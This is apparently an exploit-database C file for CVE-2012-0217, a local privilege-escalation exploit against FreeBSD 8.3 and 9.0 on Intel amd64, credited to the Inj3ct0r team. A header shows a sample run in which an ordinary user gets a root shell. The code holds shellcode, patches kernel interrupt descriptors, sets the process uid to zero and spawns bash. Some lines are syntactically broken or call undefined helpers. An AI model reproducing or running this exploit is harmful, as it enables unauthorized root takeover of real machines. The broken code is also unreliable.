|
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 Private 1337day exploit by Inj3ct0r team 1
1 ######################################### 0
0 1
1 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
#
# Name : Intel SYSRET FreeBSD Privilege Escalation Exploit
# Date : july, 16 2012
# Platform : freebsd
# Type : local exploit
# Web : www.r00tw0rm.com | www.1337day.com
# Tested on : FreeBSD 8.3-RELEASE amd64, FreeBSD 9.0-RELEASE amd64
# Greetz : r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)
# Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com)
PoC testing .:
satsura@0xr00tw0rm ~/Р/exploit_dev> uname -irspm
FreeBSD 9.0-RELEASE amd64 amd64 GENERIC
satsura@0xr00tw0rm ~/Р/exploit_dev> id
uid=1001(satsura) gid=1001(satsura) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura)
satsura@0xr00tw0rm ~/Р/exploit_dev> ./CVE-2012-0217
[!] Running CVE-2012-0217
[+] Checking OS bit mmap()
[+] Fill with NOP (0x90) last mem page
[+] Final Stage
[+] w00t! w00t! r0073d! xDDDD
root@0xr00tw0rm:~/Рабочий стол/exploit_dev# id
uid=0(root) gid=0(root) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura)
root@0xr00tw0rm:~/Рабочий стол/exploit_dev#
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <machine/cpufunc.h>
#include <machine/segments.h>
#include <machine/intr_machdep.h>
#define _WANT_UCRED
#define BSS 0
#define STATIC_OFFSET 0x250
struct gate_descriptor *gt;
void *uaddr, *ustack;
unsigned char evilcode[] =
"\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00"
"\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // hijack of the handler PF at 0x00000000ZZZZXXXX
"\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff"
"\x0f\x05"; // syscall
int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};
int found = 0;
int i = 0;
while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}
int is_intel()
{
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}
struct restore_entry {
u_char idx;
u_char dpl;
void *addr;
u_char name[10];
} entries[] = {{ 0, 0, NULL, "idt0" },
{ 0, 0, NULL, "Xrsvd"},
{ IDT_DE, 0, NULL, "Xdiv" },
{ IDT_DB, 0, NULL, "Xdbg" },
{ IDT_NMI,2, NULL, "Xnmi" },
{ IDT_BP, 0, NULL, "Xbpt" },
{ IDT_OF, 0, NULL, "Xofl" },
{ IDT_BR, 0, NULL, "Xbnd" },
{ IDT_UD, 0, NULL, "Xill" },
{ IDT_NM, 0, NULL, "Xdna" },
{ IDT_DF, 1, NULL, "Xdblfault" },
{ IDT_FPUGP, 0, NULL, "Xfpusegm" },
{ IDT_TS, 0, NULL, "Xtss" },
{ IDT_NP, 0, NULL, "Xmissing" },
{ IDT_SS, 0, NULL, "Xstk" },
{ IDT_GP, 0, NULL, "Xprot" },
{ IDT_PF, 0, NULL, "Xpage" },
{ IDT_MF, 0, NULL, "Xfpu" },
{ IDT_AC, 0, NULL, "Xalign"},
{ IDT_MC, 0, NULL, "Xmchk" },
{ IDT_XF, 0, NULL, "Xxmm" }};
void *
resolve_addr(char *func, int section)
{
u_int64_t addr;
char cmd[128];
snprintf(cmd, sizeof(cmd) - 1, "objdump -j %s -x /boot/kernel/kernel | grep %s", (section == BSS) ? ".bss" : ".text", func);
FILE *fd = popen(cmd, "r");
if(fd == NULL)
return NULL;
fread(cmd, sizeof(cmd), 1, fd);
sscanf(cmd, "%lx %*s", &addr);
return (void *)addr;
}
void
exit_usermode(void)
{
setenv("PS1", "Inj3ct0r> ", 1);
system("/bin/bash");
exit(0);
}
void
setidt(idx, func, typ, dpl, ist)
int idx;
void *func;
int typ;
int dpl;
int ist;
{
struct gate_descriptor *ip;
ip = gt + idx;
ip->gd_looffset = (uintptr_t)func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = ((uintptr_t)func)>>16 ;
}
void
kernel_code(void)
{
int x, i;
struct thread *td;
__asm("movq %r10, %rsp");
for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}
for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}
asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );
td->td_proc->p_ucred->cr_uid = 0;
asm volatile ("movq %0, %%rcx\n"
"movq %1, %%rsp\n"
"swapgs\n"
"sysretq"::"r"(uaddr),"r"(ustack));
}
int
main(int argc, char *argv[])
{
int x, section_type = BSS;
u_short high, low;
u_int64_t kaddr;
printf("[!] Running Exploit CVE2012-0217\n");
printf("[+] Checking OSbit Map");
void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
if(maddr == MAP_FAILED) {
perror("[-] Fuck! Error mmaped address\n");
return -1;
}
printf("[+]Fill with NOP 0x90 and copy Evilcode\n");
memset(maddr, 0x90, 0x1000);
memcpy(maddr + 0x1000 - (sizeof(evilcode) - 1), evilcode, sizeof(evilcode) - 1);
printf("[-] Resolve all addresses \n", );
for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
entries[x].addr = resolve_addr(entries[x].name, section_type);
if(entries[x].addr == NULL) {
printf("[-] Can't resolve address for function %s\n", entries[x].name);
return -1;
}
if (x == 0) section_type ++;
}
gt = entries[0].addr;
printf("[+] Final Stage \n");
kaddr = (u_int64_t)&kernel_code;
uaddr = &exit_usermode;
__asm("movq %%rsp, %0" : "=m"(ustack));
printf("[+] w00t! w00t! r0073d xDDDD\n");
high = (kaddr >> 16);
low = (kaddr);
char *ptr = (char *)0x800000000000 - 20;
*(u_short *)ptr = low;
ptr = (char *)0x800000000000 - 14;
*(u_short *)ptr = high;
ptr = (char *)0x800000000000 - 10;
*(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);
(*(void(*)()) maddr)();
}
|